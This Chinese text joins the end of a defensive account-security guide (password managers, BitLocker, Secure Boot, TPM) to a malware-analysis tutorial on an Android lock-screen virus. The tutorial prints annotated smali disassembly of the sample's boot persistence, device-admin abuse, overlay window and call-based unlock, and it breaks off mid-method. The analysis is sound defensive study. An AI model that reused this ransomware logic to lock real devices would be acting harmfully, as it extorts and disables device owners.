硬件密码管理器更可控一些,密码密钥存储在硬件黑箱中,一般又自带显示屏,没有连接PC和网络的接口与导出通道,基本上把密码安全问题转化成了物理安全问题.
但是便捷性上比软件的管理器差,如果预算充足并且有购买渠道,可以准备一个,把最关键的密码 各种充当信任根的内容存出到其中,常用的密码还是使用软件密码管理器.
软件如 1Password KeePass LastPass,苹果家的钥匙串等等,它们有各自的特点,感觉总体水平都差不多, **端到端**
加密方案,用户数据不上传到服务器起码的,具体每个软件都有独自的特性,有偏爱的用户群,我觉得这样也不错,所有人选择不同的软件分散风险,可以避免集中被一窝端的事情发生.
**管理器主密码的安全**
考虑到管理器会被频繁使用,以及解锁它的主密码的复杂度造成的输入难度,以及输入过程可能被周围人和摄像头记录,还有其他一些现实问题,我觉得一定要实现密码管理器的免密解锁,
**提高密码管理器的安全性,即避免频繁输入管理器主密码.**
Mac和大多手机普遍配有指纹功能,做到这一点应该不难.
这里笔者是Win10和1Password的环境,要麻烦一些.
在经过实践后发现,有两种方式可以在PC上实现免密解锁1Password.
方法1是将1Password设置为通过Windows
Hello来解锁,恰好我得笔记本是支持的,所以”管理器主密码登录验证问题”,转化为”Windows登录验证问题”,要考虑如何提高Windows登录验证的安全性.
方法2是使用模拟键盘模拟输入密码,比如一种叫YuBikey的USB设备,这是一种强大且多功能的个人安全设备,它的其中一项功能是充当模拟键盘,可以给它设定一串固定字符输出,当用户物理触碰它时输出这串字符.
即把”长密码难以输入的问题”,转化成了”YuBikey的物理安全问题”.
这样的缺点是需要用户随身携带YuBikey不离手才行,希望以后会出一个指纹版的YuBikey,增加一个验证环节才触发输出.
## 提高操作系统的安全性
软件密码管理器运行在系统上,顺理成章的,提高账号安全转化成了提高操作系统安全.
**使用普通账户作为主力环境的可行性**
对于广大Windows用户,装一个杀毒软件防火墙是没有难度的,但是我还想再向前迈一步.
现代操作系统普遍要区分管理员和普通账户,这一点作为Linux Mac IOS
Android用户应该都有比较多的体会,唯独在Windows上,难以实现普通账户作为主力环境.
一方面是软件生态导致的程序普遍需要管理员运行权限,我觉得还有一个重要因素,弹UAC窗口天天输管理员密码,是一个非常烦人的事情,强迫用户改变操作习惯是违反自然规律,不具有可行性.
所以配置一个带有指纹模块的笔记本,在弹UAC切账户时,做到免输密码,相对是让人可以接受的,我猜这可能也是Windows Hello出现的意义.
如果没有指纹模块,配置一个YuBikey模拟键盘免输密码也是可行的,但要注意YuBikey的物理安全.
**锁屏密码的有效性**
对于Android用户,选择一个靠谱的大厂品牌,在确认手机没有过时停止维护更新的前提下,把系统升级到较高的版本,确认没有解锁漏洞也无法轻易ROOT,在这个基础上设置好锁屏,普通用户和程序员们做到这种程度感觉差不多够用了,比较难的可能就是要舍得花钱追新手机新设备.
对于Mac IOS用户,过程类似Android,再就是多关注AppleID和固件密码,总的来说作为Apple用户比较省心.
对于Windows,锁屏密码也是至关重要的,电脑上诸多资料都受到它的保护,像主流浏览器通常具有保存密码的功能,用户存储过的密码可以很容易的在浏览器中查询到明文记录,Chrome对这个记录的访问验证就使用了Windows密码.
所以剩下一个问题,如何让Windows密码有效?
## 提高设备的安全性
**磁盘加密**
在PC上仅设置了账户密码还没有结束,目前硬盘上的Windows系统文件还处于一种不设防状态,有非常多的办法来绕过Windows密码,没有启动BitLocker的Windows锁屏好似马奇诺防线,在手机上也有类似的情况,我估计也是AndroidI
IOS普遍开启了全盘加密的原因之一,还是不要去关闭全盘加密提高性能.
关于BitLocker,用户需要注意它的解锁方式和攻击面,再有就是域账户的情况下,BitLocker要管理员来配置.
解锁方式方面,有纯Password形式,USB密钥形式,智能卡形式,TPM+PIN码形式,各有适用的场景,其中USB密钥和智能卡两种方式可以实现免密解锁.
磁盘加密的攻击面,很多案例非常有参考价值,了解这些攻击面能一定程度的加强对其防范意识.
如女佣攻击,冷启动攻击,雷电 1394 PCIE接口的DMA攻击,硬盘自加密漏洞等等.
受限于篇幅,我将一些有关BitLocker的简介放在另外的链接
<https://www.jianshu.com/p/258585c3025a>
**安全启动**
在现实场景中,磁盘加密技术自身一般没有严重漏洞,问题常常出在启动环节的较早时机,黑阔可以通过伪造一个BitLocker输入界面,诱导用户输入密码,实现骗取解锁信息,即邪恶女佣攻击.
这样的话要实现安全闭环,还要向前挪一步,考虑前面发生的过程,即SecureBoot安全启动.
在进入操作系统之前,还有两个环节是OSLoader和BIOS/UEFI,SecureBoot的意义一般就是保障OSLoader的安全性,防止黑阔在较早时机插入类似Rootkit的东西做手脚,这个机制在手机平台普遍被落地,但在PC上常常被用户忽略,还是要多留意些,让这项功能发挥作用.
受限于篇幅,我将一些有关SecureBoot的简介放在另外的链接
<https://www.jianshu.com/p/bb61e4e174fd>
**可信执行环境**
SecureBoot环节保障了系统加载器是安全的,可是谁保证SecureBoot是靠谱的呢?
我们发现从 **密码管理器——OS——锁屏——磁盘加密——SecureBoot的过程,又形成了信任链条,最后还是需要一个信任根,建立整条信任链的安全性.**
电子设备上对于信任根普遍的解决方案,是制造一个被隔离的黑箱环境,将验证安全性的部分算法和密钥放入黑箱中,限制外部环境对它的干扰(如读取密钥或篡改运行结果),保证该过程相对可信,即可信执行环境.
在PC平台上,这部分的技术实现为TPM和Intel SGX,需要普通用户在UEFI设置中找到它们并开启.
其他平台名字各不同,如AppleT2,GoogleTitanM,ARMTrustZone,SecureEnclave等等,但思想大致是一致的.
在购买新设备时可留意是否有配有类似的技术,一般指纹和固件锁的功能都依赖于它们.
受限于篇幅,我只好将一些有关可信执行环境的介绍,放在另外的链接.
TPM安全芯片
<https://www.jianshu.com/p/088c8ac885ea>
TrustZone
<https://www.jianshu.com/p/bcdbbfc2f457>
Intel SGX
<https://www.jianshu.com/p/84f4d9e93924>
至此终于,亡羊补牢,给自己的账号建立了一套闭环的屏障,虽然这个状态下仍然存在诸多问题,但还是要比以往的不设防状态强上不少.
## 团队信息
### Vulpecker Team
隶属于360公司信息安全部，致力于手机 APP
及IOT安全，同时专注于移动安全研究，团队定制了公司内部产品安全开发规范，在提高工作效率的同时也为开发者提供了便捷的安全测试平台。
同时团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，挖掘的漏洞屡次获得CVE编号及致谢，在保证360产品安全的前提下，团队不断对外输出安全技术，为移动互联网安全贡献一份力量。
### 作者
<https://github.com/acbocai> | 社区文章 |
# 引言
本次分析的样本是一款比较简单的android锁屏病毒，通过设备管理器来进行锁屏功能，并利用开机广播和服务的结合实现开机锁屏，解锁方式通过电话拨入，对资源文件进行解密出字符串和来电电话进行匹配的方式进行解锁。我们主要是从者一款比较简单的病毒中熟悉一下smali语法
# 文件简介
App应用名称： 红包强盗(后台版)
**md5** : F3ADAADC7A8CB0D16A1AD05AADC8B1F2
**包名** ： com.cjk
# 详细分析
1. 第一步，直接先上模拟器，看看大概是个什么毒。从截图看出它想申请设备管理员权限，然后就弹出锁屏界面，一枚锁品病毒
2. 看看apk包内的文件，在`res\raw`目录下发现四个可疑文本文件，内容是`Cj09QU80TVRu`、`Cj1rRE0xY3puMllqTTVuVE0=`这些有可能是加密过的字符串，还在`res\drawable`目录下，发现下面这个qq二维码，也没什么so文件，也不会加固过
1. 主要从从AndroidManifest.xml文件中看四大组件，一般样本都会将恶意行为放在服务组件，需要重点关注
<application android:debuggable="false" android:icon="@drawable/icon" android:label="王者荣耀点卷生成器" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="s" />
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
2. 1)`s`服务
根据服务生命周期表可以知道，针对两种不同方式启动的服务，调用的方法是不同的,因为下面onbind方法并没有任何操作，如果要开启这个服务只会走startService方法，所以我们顺着onCreate->onStartCommand来看
//onBind方法，参数为Intent类实例化的对象
.method public onBind(Intent)IBinder
//onBind方法方法中用到了6个寄存器
.registers 6
//注解，就是java中的@Override
.annotation runtime Override
.end annotation
// 将参数p0(this)赋值给变量v0
00000000 move-object v0, p0
//将参数p1(传入的Intent类型参数)赋值给变量v1
00000002 move-object v1, p1
00000004 const/4 v3, 0
//检查v3是否可以转化成IBinder类
00000006 check-cast v3, IBinder
0000000A move-object v0, v3
//返回一个null对象
0000000C return-object v0
.end method
在看oncreate之前，在他的构造方法中，可以看见有几个敏感的数据，`QQ号`，`暱称`，并且将这串字符串进行静态方法MD5Util->getMD5String的处理，下面主要看看这个处理过程
.method public constructor <init>()V
.registers 5
00000000 move-object v0, p0
00000002 move-object v2, v0
//直接调用Service的构造方法super()，(这种调用不存在被覆盖，编译时静态确认)
00000004 invoke-direct Service-><init>()V, v2
0000000A move-object v2, v0
0000000C const-string v3, "by:彼岸花 qq:127****738"
//将v3的字符串存放在v2中，并且v2=s->bahk:String(this.bahk)
00000010 iput-object v3, v2, s->bahk:String
//使用this清空v2，v3
00000014 move-object v2, v0
00000016 move-object v3, v0
//获取s->bahk:String的值放入v3，然后让s->bahk:String指向v3
00000018 iget-object v3, v3, s->bahk:String
//调用静态方法（不需要对象，所以少一个参数），看名称应该是获取md5字符串
0000001C invoke-static MD5Util->getMD5String(String)String, v3
00000022 move-result-object v3
//最后让经过处理的字符串v3放入this.Lycorisradiata
00000024 iput-object v3, v2, s->Lycorisradiata:String
00000028 return-void
.end method
处理函数getMD5String，它将字符串`by:彼岸花
qq:127****738`，先进行了md5摘要计算，得到一个第一次加密过的字节数组，然后在new一个长度是其2倍的char型数组，接着第一次加密过的字节数组的每一个字节经过2次加密，生成不同的字符，填入到new出来的char型数组中，最终将其转化成字符串返回
.method public static final getMD5String(String)String
.registers 19
//静态方法，没有引用对象，所以p0=参数String
00000000 move-object/from16 v0, p0
//v12 = char[16] 创建16长度的char型数组，将其赋给v12
00000004 const/16 v12, 0x0010
00000008 new-array v12, v12, [C
//将EC指向的2字节长度的char数据填入数组
0000000C fill-array-data v12, :EC
//v2 = char[16] ，v12=this，将数组赋给v2，用this清空v12
00000012 move-object v2, v12 # v2 = charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
00000014 move-object v12, v0
:16
//v12.getBytes()将字符串转化成字节数组，调用虚方法，也就是v12是被引用的对象
//然后使用MD5信息摘要算法对这个字节数组进行计算，将hash值在00000040地址赋给v12
00000016 invoke-virtual String->getBytes()[B, v12
0000001C move-result-object v12
0000001E move-object v3, v12
00000020 const-string v12, "MD5"
00000024 invoke-static MessageDigest->getInstance(String)MessageDigest, v12
0000002A move-result-object v12
//因为v12（信息摘要对象）在00000032 位置做被引用的参数对象，所以将其赋给v4来接收update方法更改后的摘要对象
0000002C move-object v4, v12
0000002E move-object v12, v4
00000030 move-object v13, v3
00000032 invoke-virtual MessageDigest->update([B)V, v12, v13
00000038 move-object v12, v4
0000003A invoke-virtual MessageDigest->digest()[B, v12
00000040 move-result-object v12
00000042 move-object v5, v12 # v5 = md5ByteArray 字节数组类型的信息摘要
00000044 move-object v12, v5
//带有信息摘要的字节数组长度赋给v12，然后将这个长度乘以2，利用这个长度再实例化一个char型数组给v7
00000046 array-length v12, v12
00000048 move v6, v12
0000004A move v12, v6 # v6 = len_of_md5ByteArray
0000004C const/4 v13, 2
0000004E mul-int/lit8 v12, v12, 2
00000052 new-array v12, v12, [C
00000056 move-object v7, v12 # v7 = charArray2 = new char[2 * len_of_md5ByteArray]
00000058 const/4 v12, 0
0000005A move v8, v12 # v8 = 0
0000005C const/4 v12, 0
0000005E move v9, v12
:60
//v12=v9=0，v13=v6=md5字节数组的长度
//如果v12<v13跳转到:84，紧跟着下面有个goto :60跳转回来，构成了一个for循环
00000060 move v12, v9
00000062 move v13, v6
00000064 if-lt v12, v13, :84 # for(int v9=0; v9<v6; v9++)
:68
00000068 new-instance v12, String # v12 = v17 = new String()
0000006C move-object/from16 v17, v12
00000070 move-object/from16 v12, v17
00000074 move-object/from16 v13, v17
00000078 move-object v14, v7
0000007A invoke-direct String-><init>([C)V, v13, v14 # v12 = v13 = new String(charArray2)
00000080 move-object v0, v12
:82
00000082 return-object v0
:84
00000084 move-object v12, v5
00000086 move v13, v9
00000088 aget-byte v12, v12, v13
0000008C move v10, v12 # v10 = md5ByteArray[v9]
0000008E move-object v12, v7 # v12 = v7 = charArray2
00000090 move v13, v8 # v13 = v8
00000092 add-int/lit8 v8, v8, 1 # ++v8
00000096 move-object v14, v2 # v2 = charArray1
00000098 move v15, v10
0000009A const/16 v16, 4
0000009E ushr-int/lit8 v15, v15, 4
000000A2 const/16 v16, 15
000000A6 and-int/lit8 v15, v15, 15
000000AA aget-char v14, v14, v15
000000AE aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
000000B2 move-object v12, v7
000000B4 move v13, v8 # v13 = v8
000000B6 add-int/lit8 v8, v8, 1 # ++v8
000000BA move-object v14, v2
000000BC move v15, v10
000000BE const/16 v16, 15
000000C2 and-int/lit8 v15, v15, 15
000000C6 aget-char v14, v14, v15
000000CA aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
:CE
000000CE add-int/lit8 v9, v9, 1
000000D2 goto :60
:D4
000000D4 move-exception v12
000000D6 move-object v3, v12
000000D8 move-object v12, v3
000000DA invoke-virtual Exception->printStackTrace()V, v12
000000E0 const/4 v12, 0
000000E2 check-cast v12, String
000000E6 move-object v0, v12
000000E8 goto :82
.catch Exception {:16 .. :CE} :D4
:EC
000000EC .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x41
0x42
0x43
0x44
0x45
0x46
.end array-data
.end method
这里将注释集合起来，大概是这样的加密过程，这里主要是大致预览加密逻辑
charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
string = "by:彼岸花 qq:1279525738";
byte[] v3 = string.getBytes();
MessageDigest v4 = MessageDigest.getInstance("MD5");
v4.update(v3);
byte[] v5 = md5ByteArray = v4.digest() //字节数组类型的信息摘要
v6 = md5ByteArray.length()
v7 = charArray2 = new char[2 * v6]
for(int v9=0; v9<v6; v9++){
v10 = md5ByteArray[v9]
v12 = v7 = charArray2
v13 = v8
++v8
v2 = charArray1
//对单个字节的第一次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
v13 = v8
++v8
//对单个字节的第二次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
}
v12 = new String(charArray2)
return v12
然后接着分析`s`服务的oncreate方法，先打印日志并通过Intent使用广播发送出去，让包名为`com.aide.ui`的接收，这里动态注册了一个监听接收短信、电话状态的广播,如果有电话拨进来，会将来电电话号码和经过字符串处理的hm资源文件里的字符串进行比较，如果相等就结束前台呼叫、移除newone布局，设置铃声静音，停止服务`s`（很明显是解锁方法），如果不相等则会拦截下这条广播。然后又用`bah.java`、`8e6762e8737463a957dc390bff4eb8e8`两个字符串生成对应的DES加密、解密对象，还有实例化一个`by:彼岸花
qq:1279525738.xml`存储文件的编辑器对象，但是都没有后面的操作，最后执行了重复手机震动操作，每过0.1s震动1.5s
.method public onCreate()V
.registers 15
.annotation system Signature
value = {
"()V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object v0, p0 # v0 = this
00000002 move-object v7, v0
00000004 const-string v8, "com.aide.ui"
00000008 invoke-static ADRTLogCatReader->onContext(Context, String)V, v7, v8 # ADRTLogCatReader.onContext(this, "com.aide.ui")
0000000E move-object v7, v0
00000010 invoke-super Service->onCreate()V, v7 # this.Service.onCreate()
00000016 move-object v7, v0
00000018 new-instance v8, s$IncomingCallReceiver # 实例化一个IncomingCallReceiver对象
0000001C move-object v13, v8
0000001E move-object v8, v13
00000020 move-object v9, v13
00000022 move-object v10, v0
00000024 invoke-direct s$IncomingCallReceiver-><init>(s)V, v9, v10 # 调用incomingCallReceiver的构造方法进行初始化: new IncomingCallReceiver(this)
0000002A iput-object v8, v7, s->mReceiver:s$IncomingCallReceiver # this.mReceiver = incomingCallReceiver
0000002E new-instance v7, IntentFilter
00000032 move-object v13, v7
00000034 move-object v7, v13
00000036 move-object v8, v13
00000038 invoke-direct IntentFilter-><init>()V, v8 # IntentFilter intentfilter = new IntentFilter()
0000003E move-object v2, v7
00000040 move-object v7, v2
00000042 const-string v8, "android.intent.action.PHONE_STATE"
00000046 invoke-virtual IntentFilter->addAction(String)V, v7, v8
0000004C move-object v7, v2
0000004E const-string v8, "android.provider.Telephony.SMS_RECEIVED"
00000052 invoke-virtual IntentFilter->addAction(String)V, v7, v8
00000058 move-object v7, v0
0000005A move-object v8, v0
0000005C iget-object v8, v8, s->mReceiver:s$IncomingCallReceiver
00000060 move-object v9, v2
00000062 invoke-virtual s->registerReceiver(BroadcastReceiver, IntentFilter)Intent, v7, v8, v9 # this.registerReceiver(this.mReceiver, intentfilter)
00000068 move-result-object v7
0000006A move-object v7, v0
0000006C move-object v8, v0
0000006E const-string v9, "audio"
00000072 invoke-virtual s->getSystemService(String)Object, v8, v9
00000078 move-result-object v8
0000007A check-cast v8, AudioManager
0000007E iput-object v8, v7, s->mAudioManager:AudioManager # this.mAudioManager = this.getSystemService("audio")
00000082 move-object v7, v0
00000084 const-string v8, "phone"
00000088 invoke-virtual s->getSystemService(String)Object, v7, v8
0000008E move-result-object v7
00000090 check-cast v7, TelephonyManager
00000094 move-object v3, v7
:96
00000096 const-string v7, "android.telephony.TelephonyManager"
0000009A invoke-static Class->forName(String)Class, v7
:A0
000000A0 move-result-object v7
:A2
000000A2 const-string v8, "getITelephony"
000000A6 const/4 v9, 0
000000A8 check-cast v9, [Class
000000AC invoke-virtual Class->getDeclaredMethod(String, [Class)Method, v7, v8, v9 # Method v4 = Class.forName("android.telephony.TelephonyManager").getDeclaredMethod("getITelephony", 0)
000000B2 move-result-object v7
000000B4 move-object v4, v7
000000B6 move-object v7, v4
000000B8 const/4 v8, 1
000000BA invoke-virtual Method->setAccessible(Z)V, v7, v8 # v4.setAccessible(1)关闭安全检查
000000C0 move-object v7, v0
000000C2 move-object v8, v4
000000C4 move-object v9, v3
000000C6 const/4 v10, 0
000000C8 check-cast v10, [Object
000000CC invoke-virtual Method->invoke(Object, [Object)Object, v8, v9, v10 # v4.invoke(telephoneManager, 0)
000000D2 move-result-object v8
000000D4 check-cast v8, ITelephony
000000D8 iput-object v8, v7, s->iTelephony:ITelephony # this.iTelephony = v4.invoke(telephoneManager, 0)
:DC
000000DC move-object v7, v0
000000DE new-instance v8, DU
000000E2 move-object v13, v8
000000E4 move-object v8, v13
000000E6 move-object v9, v13
000000E8 const-string v10, "bah.java"
000000EC invoke-direct DU-><init>(String)V, v9, v10
000000F2 iput-object v8, v7, s->des:DU # s.des = new DU("bah.java")
000000F6 move-object v7, v0
:F8
000000F8 new-instance v8, DU
000000FC move-object v13, v8
000000FE move-object v8, v13
00000100 move-object v9, v13
00000102 move-object v10, v0
00000104 iget-object v10, v10, s->des:DU
00000108 const-string v11, "8e6762e8737463a957dc390bff4eb8e8"
0000010C invoke-virtual DU->decrypt(String)String, v10, v11
00000112 move-result-object v10
00000114 invoke-direct DU-><init>(String)V, v9, v10
0000011A iput-object v8, v7, s->des:DU # s.des = new DU(s.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"))
:11E
0000011E move-object v7, v0
00000120 move-object v8, v0
00000122 move-object v9, v0
00000124 iget-object v9, v9, s->bahk:String
00000128 const/4 v10, 0
0000012A invoke-virtual s->getSharedPreferences(String, I)SharedPreferences, v8, v9, v10
00000130 move-result-object v8
00000132 iput-object v8, v7, s->share:SharedPreferences # this.share = this.getSharedPreferences("by:彼岸花 qq:1279525738", 0)
00000136 move-object v7, v0
00000138 move-object v8, v0
0000013A iget-object v8, v8, s->share:SharedPreferences
0000013E invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v8
00000144 move-result-object v8
00000146 iput-object v8, v7, s->editor:SharedPreferences$Editor # this.editor = this.share.edit()
0000014A move-object v7, v0
0000014C invoke-virtual s->getApplication()Application, v7
00000152 move-result-object v7
00000154 const-string v8, "vibrator"
00000158 invoke-virtual Application->getSystemService(String)Object, v7, v8 # this.getApplication().getSystemService("vibrator")
0000015E move-result-object v7
00000160 check-cast v7, Vibrator
00000164 move-object v4, v7
00000166 move-object v7, v4
00000168 const/4 v8, 4
0000016A new-array v8, v8, [J # long[] longArray = new long[4]
0000016E move-object v13, v8
00000170 move-object v8, v13
00000172 move-object v9, v13
00000174 const/4 v10, 0
00000176 const/16 v11, 100 # (long)100
0000017A int-to-long v11, v11
0000017C aput-wide v11, v9, v10 # longArray[0] = (long)100
00000180 move-object v13, v8
00000182 move-object v8, v13
00000184 move-object v9, v13
00000186 const/4 v10, 1
00000188 const/16 v11, 1500
0000018C int-to-long v11, v11
0000018E aput-wide v11, v9, v10
00000192 move-object v13, v8
00000194 move-object v8, v13
00000196 move-object v9, v13
00000198 const/4 v10, 2
0000019A const/16 v11, 100
0000019E int-to-long v11, v11
000001A0 aput-wide v11, v9, v10
000001A4 move-object v13, v8
000001A6 move-object v8, v13
000001A8 move-object v9, v13
000001AA const/4 v10, 3
000001AC const/16 v11, 1500
000001B0 int-to-long v11, v11
000001B2 aput-wide v11, v9, v10 # longArray = new long[]{(long)100, (long)1500, (long)100, (long)1500}
000001B6 const/4 v9, 0
000001B8 invoke-virtual Vibrator->vibrate([J, I)V, v7, v8, v9 # this.getApplication().getSystemService("vibrator").vibrate(longArray, 0)
000001BE return-void
:1C0
000001C0 move-exception v7
000001C2 move-object v5, v7
:1C4
000001C4 new-instance v7, NoClassDefFoundError
000001C8 move-object v13, v7
000001CA move-object v7, v13
000001CC move-object v8, v13
000001CE move-object v9, v5
000001D0 invoke-virtual Throwable->getMessage()String, v9
000001D6 move-result-object v9
000001D8 invoke-direct NoClassDefFoundError-><init>(String)V, v8, v9
000001DE throw v7
:1E0
000001E0 move-exception v7
000001E2 move-object v4, v7
000001E4 goto/16 :DC
:1E8
000001E8 move-exception v7
000001EA move-object v4, v7
000001EC goto :11E
.catch ClassNotFoundException {:96 .. :A0} :1C0
.catch Exception {:96 .. :A0} :1E0
.catch Exception {:A2 .. :DC} :1E0
.catch Exception {:F8 .. :11E} :1E8
.catch Exception {:1C4 .. :1E0} :1E01
.end method
ADRTLogCatReader.onContext方法
调用onContext静态方法，检查本引用是否可以调试，如果不可以则该方法返回为空，如果可以调试，先初始化ADRTSender的一些静态属性，然后开启一个线程，执行`logcat
-v
threadtime`打印日志，然后每次读取20个字符，并且每次读取一行，将其作为数据参数放入intent里，通过广播发送出去，指定接收包名是"com.aide.ui"，action是"com.adrt.LOGCAT_ENTRIES"
.method public static onContext(Context, String)V
.registers 12
00000000 move-object v0, p0
00000002 move-object v1, p1
00000004 sget-object v5, ADRTLogCatReader->context:Context # v5 = ADRTLogCatReader.context
00000008 if-eqz v5, :E # if ADRTLogCatReader.context == null{return null;}这个方法onContext只能调用一次
:C
0000000C return-void
:E
0000000E move-object v5, v0
00000010 invoke-virtual Context->getApplicationContext()Context, v5
00000016 move-result-object v5
00000018 sput-object v5, ADRTLogCatReader->context:Context # ADRTLogCatReader.context = this.getApplicationContext()
0000001C const/4 v5, 0
0000001E move-object v6, v0
00000020 invoke-virtual Context->getApplicationInfo()ApplicationInfo, v6
00000026 move-result-object v6
00000028 iget v6, v6, ApplicationInfo->flags:I
0000002C const/4 v7, 2
0000002E and-int/lit8 v6, v6, 2
00000032 if-eq v5, v6, :42 # if(this.ApplicationInfo.flag & 2 == 0){return null;}检查应用是否允许调试
:36
00000036 const/4 v5, 1
:38
00000038 move v2, v5
0000003A move v5, v2
0000003C if-nez v5, :46
:40
00000040 goto :C
:42
00000042 const/4 v5, 0
00000044 goto :38
:46
00000046 move-object v5, v0
:48
00000048 invoke-virtual Context->getPackageManager()PackageManager, v5
0000004E move-result-object v5
00000050 move-object v3, v5
00000052 move-object v5, v3
00000054 move-object v6, v1
00000056 const/16 v7, 0x0080
0000005A invoke-virtual PackageManager->getPackageInfo(String, I)PackageInfo, v5, v6, v7 # this.getPackageManager().getPackageInfo("com.aide.ui", 0x0080)
# 这里获取"com.aide.ui"包应用的META信息，但是后面没有再调用了这个的数据
:60
00000060 move-result-object v5
00000062 move-object v4, v5
00000064 sget-object v5, ADRTLogCatReader->context:Context
00000068 move-object v6, v1
0000006A invoke-static ADRTSender->onContext(Context, String)V, v5, v6 # ADRTSender.onContext(ADRTLogCatReader.context, "com.aide.ui")
00000070 new-instance v5, Thread # Thread thread;
00000074 move-object v9, v5
00000076 move-object v5, v9
00000078 move-object v6, v9
0000007A new-instance v7, ADRTLogCatReader # ADRTLogCatReader aDRTLogCatReader;
0000007E move-object v9, v7
00000080 move-object v7, v9
00000082 move-object v8, v9
00000084 invoke-direct ADRTLogCatReader-><init>()V, v8 # aDRTLogCatReader = new ADRTLogCatReader()
0000008A const-string v8, "LogCat"
0000008E invoke-direct Thread-><init>(Runnable, String)V, v6, v7, v8 # thread(aDRTLogCatReader, "LogCat")
00000094 move-object v3, v5
00000096 move-object v5, v3
00000098 invoke-virtual Thread->start()V, v5 # thread(aDRTLogCatReader, "LogCat").start()
0000009E goto :C
:A0
000000A0 move-exception v5
000000A2 move-object v3, v5
000000A4 goto :C
.catch PackageManager$NameNotFoundException {:48 .. :60} :A0
.end method
.method public run()V
.registers 11
00000000 move-object v0, p0
:2
00000002 invoke-static Runtime->getRuntime()Runtime
00000008 move-result-object v4
0000000A const-string v5, "logcat -v threadtime"
0000000E invoke-virtual Runtime->exec(String)Process, v4, v5 # Process pc = Runtime.getRuntime().exec("logcat -v threadtime")
00000014 move-result-object v4
00000016 move-object v1, v4
00000018 new-instance v4, BufferedReader # BufferedReader br;
0000001C move-object v9, v4
0000001E move-object v4, v9
00000020 move-object v5, v9
00000022 new-instance v6, InputStreamReader # InputStreamReader is;
00000026 move-object v9, v6
00000028 move-object v6, v9
0000002A move-object v7, v9
0000002C move-object v8, v1
0000002E invoke-virtual Process->getInputStream()InputStream, v8 # pc.getInputStream()
00000034 move-result-object v8
00000036 invoke-direct InputStreamReader-><init>(InputStream)V, v7, v8 # is = new InputStreamReader(pc.getInputStream)
0000003C const/16 v7, 20
00000040 invoke-direct BufferedReader-><init>(Reader, I)V, v5, v6, v7 # br = new BufferedReader(new InputStreamReader(pc.getInputStream), 20)
00000046 move-object v2, v4
00000048 const-string v4, ""
0000004C move-object v3, v4
:4E
0000004E move-object v4, v2
00000050 invoke-virtual BufferedReader->readLine()String, v4 # br.readLine()
00000056 move-result-object v4
00000058 move-object v9, v4
0000005A move-object v4, v9
0000005C move-object v5, v9
0000005E move-object v3, v5
00000060 if-eqz v4, :80
:64
00000064 const/4 v4, 1
00000066 new-array v4, v4, [String # String[] st = new String[1];
0000006A move-object v9, v4
0000006C move-object v4, v9
0000006E move-object v5, v9
00000070 const/4 v6, 0
00000072 move-object v7, v3
00000074 aput-object v7, v5, v6 # st[0] = br.readLine()
00000078 invoke-static ADRTSender->sendLogcatLines([String)V, v4 # ADRTSender.sendLogcatLines(st)
:7E
0000007E goto :4E
:80
00000080 return-void
:82
00000082 move-exception v4
00000084 move-object v1, v4
00000086 goto :80
.catch IOException {:2 .. :7E} :82
.end method
接着分析：onstart方法（android-15之后就被onStartCommand代替了）
主要执行了方法`c`，主要是将处理好的字符串附加到`layout/newone.xml`文件内的几个TextView控件上
0000000C invoke-super Service->onStart(Intent, I)V, v4, v5, v6 # this.super(v1, v2)
00000012 move-object v4, v0
00000014 invoke-direct s->c()V, v4 # this.c()
.method private c()V
.registers 21
.annotation system Signature
value = {
"()V"
}
.end annotation
00000000 move-object/from16 v1, p0
00000004 move-object v15, v1
00000006 new-instance v16, WindowManager$LayoutParams
0000000A move-object/from16 v19, v16
0000000E move-object/from16 v16, v19
00000012 move-object/from16 v17, v19
00000016 invoke-direct/range WindowManager$LayoutParams-><init>()V, v17 .. v17
0000001C move-object/from16 v0, v16
00000020 iput-object v0, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams = new WindowManager$LayoutParams()
00000024 move-object v15, v1
00000026 move-object/from16 v16, v1
0000002A invoke-virtual/range s->getApplication()Application, v16 .. v16
00000030 move-result-object v16
00000032 move-object/from16 v17, v1
00000036 invoke-virtual/range s->getApplication()Application, v17 .. v17
0000003C move-result-object v17
0000003E sget-object v17, Context->WINDOW_SERVICE:String
00000042 invoke-virtual/range Application->getSystemService(String)Object, v16 .. v17
00000048 move-result-object v16
0000004A check-cast v16, WindowManager
0000004E move-object/from16 v0, v16
00000052 iput-object v0, v15, s->mWindowManager:WindowManager # mWindowManager = this.getApplication().getsystemService(CONTEXT.WINDOW_SERVICE)
00000056 move-object v15, v1
00000058 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams
0000005C const/16 v16, 2010
00000060 move/from16 v0, v16
00000064 iput v0, v15, WindowManager$LayoutParams->type:I # this.wmParams.type = 2010
00000068 move-object v15, v1
0000006A iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
0000006E const/16 v16, 1
00000072 move/from16 v0, v16
00000076 iput v0, v15, WindowManager$LayoutParams->format:I # this.wmParams.format = 1
0000007A move-object v15, v1
0000007C iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
00000080 const/16 v16, 0x0500
00000084 move/from16 v0, v16
